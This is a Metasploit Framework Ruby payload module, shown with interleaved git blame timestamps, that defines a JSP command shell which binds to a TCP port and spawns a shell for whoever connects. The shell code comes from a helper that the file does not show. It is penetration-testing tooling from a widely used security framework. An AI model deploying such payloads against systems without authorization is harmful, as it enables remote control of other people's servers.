metasploit-framework/modules/payloads/singles/java/jsp_shell_bind_tcp.rb

42 lines
1.1 KiB
Ruby
Raw Normal View History

##
2013-10-15 19:52:12 +00:00
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/payload/jsp'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
2013-08-30 21:28:54 +00:00
include Msf::Payload::Single
2013-12-31 14:27:37 +00:00
include Msf::Payload::JSP
2013-08-30 21:28:54 +00:00
include Msf::Sessions::CommandShellOptions
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(merge_info(info,
'Name' => 'Java JSP Command Shell, Bind TCP Inline',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => %w{ linux osx solaris unix win },
2013-08-30 21:28:54 +00:00
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
2013-08-30 21:28:54 +00:00
def generate
2013-12-31 14:27:37 +00:00
return super + jsp_bind_tcp
2013-12-30 19:53:58 +00:00
end
end